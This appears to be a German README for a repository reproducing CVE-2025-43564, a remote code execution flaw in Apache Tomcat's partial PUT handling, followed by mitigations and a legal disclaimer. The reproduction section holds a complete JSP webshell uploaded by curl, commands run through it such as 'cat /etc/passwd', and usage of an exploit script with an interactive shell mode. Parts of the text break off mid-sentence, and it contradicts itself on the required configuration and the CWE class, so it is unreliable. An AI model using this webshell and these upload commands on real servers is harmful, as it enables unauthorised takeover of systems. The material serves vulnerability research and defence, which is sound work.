
Reproduktion von cve-2025-43564-tomcat_put_rce_reproduction
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2025-43564 |
| CVSS-Score | 9.8 (KRITISCH) |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Herunterladen von Code ohne Integritätsprüfung |
| Ausnutzung | In freier Wildbahn bestätigt innerhalb einer Woche nach Offenlegung |
| Offenlegung | Juli 2025 |
| Patch | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 ist eine kritische Schwachstelle für nicht authentifizierte Remote-Codeausführung in der Verarbeitung von HTTP-Teil-PUT-Anfragen durch Apache Tomcat. Der Fehler liegt in der Art und Weise, wie Tomcat PUT-Anfragen mit partiellem Inhalt verarbeitet (HTTP/1.1 Content-Range oder Transfer-Encoding: chunked mit partieller Semantik). Ein Angreifer kann eine partielle PUT-Anfrage konstruieren, die Zugriffskontrollen und Schreibbeschränkungen umgeht und das Hochladen beliebiger Dateien – einschließlich über das Web zugänglicher JSP-Webshells – in das Document-Root des Servers oder in jedes über den Servlet-Kontext erreichbare beschreibbare Verzeichnis ermöglicht.
Sobald eine JSP-Datei platziert wurde, ruft der Angreifer sie einfach auf und übergibt Betriebssystembefehle über Query-Parameter, wodurch eine vollständig nicht authentifizierte Remote-Codeausführung mit den Rechten des Tomcat-Prozessbenutzers erreicht wird.
CVSS 9.8 — Kritisch, weil:
Der DefaultServlet von Apache Tomcat und der HTTP/1.1-Connector (NIO/NIO2/Apr) verarbeiten PUT-Anfragen zum Hochladen statischer Ressourcen. Die Schwachstelle liegt in der Logik zur Verarbeitung partieller PUT-Anfragen: Wenn ein Client eine PUT-Anfrage mit einem Content-Range-Header (RFC 7233 §4.2) sendet oder Chunked-Encoding mit bestimmter partieller Semantik verwendet, validiert der Server Folgendes nicht ordnungsgemäß:
Der Parsing-Code in org.apache.catalina.servlets.DefaultServlet und den zugrunde liegenden Komponenten HttpInput / SocketProcessorBase behandelt die Grenze zwischen partiellen Inhalts-Schreibvorgängen und vollständigen Ressourcen-Schreibvorgängen fehlerhaft, sodass ein Angreifer beliebige Inhalte an jeden Pfad anhängen oder überschreiben kann, auf den der Tomcat-Prozess Schreibzugriff hat.
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
readonly=false am DefaultServlet, damit ein standardmäßiges PUT funktioniert. Der Codepfad für partielle PUT-Anfragen überspringt diese Prüfung unter bestimmten Bedingungen.Content-Range umgehen diese Signaturen häufig.Hinweis: Ältere Zweige (7.x, 8.x, 8.5.x, 10.0.x) sind EOL und erhalten keinen Backport. Benutzer müssen auf einen unterstützten Zweig aktualisieren.
Laden Sie eine verwundbare Apache-Tomcat-Version herunter (z. B. Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Entpacken und starten Sie Tomcat mit der Standardkonfiguration:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
Überprüfen Sie, dass der Server läuft:
curl -v http://localhost:8080
Laden Sie die JSP-Webshell mithilfe des PoC-Skripts hoch:
python exploit.py --target http://localhost:8080 --cmd id
Überprüfen Sie, dass die Webshell platziert wurde:
curl http://localhost:8080/exec.jsp?cmd=whoami
Führen Sie beliebige Befehle aus:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Interaktive Sitzung (falls gewünscht):
python exploit.py --target http://localhost:8080 --shell
Das enthaltene exploit.py ist ein funktionsfähiger Python-PoC, der
Content-Type-Header und die Payload-Struktur lösen den verwundbaren Codepfad aus,webapps/ROOT/),exec.jsp?cmd=<command> sendet, um Betriebssystembefehle auszuführen,--cmd) als auch den interaktiven Shell-Modus (--shell) unterstützt.# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
# Step 2: Execute commands
curl "http://localhost:8080/exec.jsp?cmd=id"
Wenn Tomcat mit readonly=true (Standard) konfiguriert ist, wird das standardmäßige PUT blockiert – der Pfad für partielle PUT-Anfragen kann jedoch weiterhin erfolgreich sein. Das ist der Kern der Schwachstelle.
# Standard PUT (should fail with 403 or 405)
curl -X PUT http://localhost:8080/test.txt -d "hello"
# Expected: 403 Forbidden
# Partial PUT (bypasses the check)
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
--data-binary '<%@page import="java.io.*"%><%Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}%>'
# Expected: 201 Created or 200 OK
Aktualisieren Sie Tomcat auf die gepatchte Version:
Falls ein sofortiges Patchen nicht möglich ist, deaktivieren Sie die PUT-Methode global, indem Sie web.xml bearbeiten:
<security-constraint>
<web-resource-collection>
<web-resource-name>Disable PUT</web-resource-name>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint />
</security-constraint>
Blockieren Sie HTTP-Methoden auf der Ebene des Reverse-Proxys / der WAF:
# nginx example — block PUT
if ($request_method = PUT) {
return 403;
}
Hinweis: Dies hilft nur, wenn der Proxy nicht umgangen werden kann.
Führen Sie Tomcat mit eingeschränkten Dateisystemberechtigungen aus:
webapps schreibgeschützt (oder mounten Sie es von einem schreibgeschützten Dateisystem)ReadOnly-Dateiattribute für ProduktionsressourcenÜberwachen Sie auf unerwartete Dateien mit den Erweiterungen .jsp / .jspx im Web-Root.
Dieses Repository wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt. Sie müssen die ausdrückliche schriftliche Genehmigung des Eigentümers jedes Systems haben, das Sie testen. Unbefugter Zugriff auf Computersysteme ist nach dem Computer Fraud and Abuse Act (CFAA) und entsprechenden Gesetzen in anderen Rechtsordnungen illegal. Die Autoren übernehmen keine Haftung für Missbrauch dieser Informationen.
CVE-2025-43564 wurde entdeckt und verantwortungsvoll an das Apache Security Team gemeldet. Koordinierte Veröffentlichung des Patches: Juli 2025.
| Produkt | Betroffene Versionen | Behoben in |
|---|
| Apache Tomcat 11 | 11.0.0-M1 bis 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 bis 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | alle Versionen (End-of-Life) | Upgrade auf 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 bis 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | alle Versionen (End-of-Life) | Upgrade auf 9.0.x |
| Apache Tomcat 8 | alle Versionen (End-of-Life) | Upgrade auf 9.0.x |
| Apache Tomcat 7 | alle Versionen (End-of-Life) | Upgrade auf 9.0.x |
| Quelle | URL |
|---|
| Apache Tomcat Sicherheitsankündigung | https://lists.apache.org/thread/p1dqrmwrh5q5vv2wttrd8tv2k8gv1819 |
| NVD-Eintrag | https://nvd.nist.gov/vuln/detail/CVE-2025-43564 |
| MITRE CVE | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-43564 |
| Apache-Tomcat-Downloads | https://tomcat.apache.org/download-90.cgi |
| CWE-494 | https://cwe.mitre.org/data/definitions/494.html |